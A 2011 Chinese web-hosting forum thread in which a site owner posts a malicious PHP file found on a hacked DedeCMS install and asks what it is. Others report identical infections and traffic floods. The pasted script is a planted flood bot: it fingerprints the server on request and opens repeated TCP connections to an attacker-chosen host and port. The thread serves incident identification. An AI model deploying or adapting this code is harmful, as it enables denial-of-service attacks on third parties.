全球主机交流论坛

标题: dede被挂马求鉴定！ [打印本页]

作者: sol_lu 时间: 2011-10-26 17:14
标题: dede被挂马求鉴定！
puls目录下多了个文件 postocar.php
<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$packets = 64;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
      if (StrLen($_GET['rat'])<>0){
            echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
            exit;
         }
      exit;
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time or $exec_time != 69){
      break;
}
$fp = fsockopen("tcp://$host", $port, $errno, $errstr, 0);
}

?>

终于被我找出来了！前几天服务器天天宕机

作者: caboo 时间: 2011-10-26 17:15
提示: 作者被禁止或删除内容自动屏蔽

作者: zyzit 时间: 2011-10-26 17:15
不懂呢楼下来

作者: happygo 时间: 2011-10-26 17:22
NND DEDE 站漏洞不上补丁不行我昨天才发现异常 2个VPS 一个国内一个国外也狂向发包一天发了200G 流量 CPU 100% 还没有找到木马文件临时办法关了脚本执行权限还在找马文件

[ 本帖最后由 happygo 于 2011-10-26 17:28 编辑 ]

作者: mapleaf 时间: 2011-10-26 17:23
马。

作者: yswei 时间: 2011-10-26 17:27
dede用后台的检测功能很容易找到马。

作者: sol_lu 时间: 2011-10-26 17:28

原帖由 yswei 于 2011-10-26 17:27 发表
dede用后台的检测功能很容易找到马。

没用过后台的检测功能..我直接查日志查连接

作者: happygo 时间: 2011-10-26 17:30
找到了和楼主的文件名一模样~！~

作者: happygo 时间: 2011-10-26 17:30
后台检测有的检不出来

欢迎光临全球主机交流论坛 (https://fd.vvwvv.eu.org/)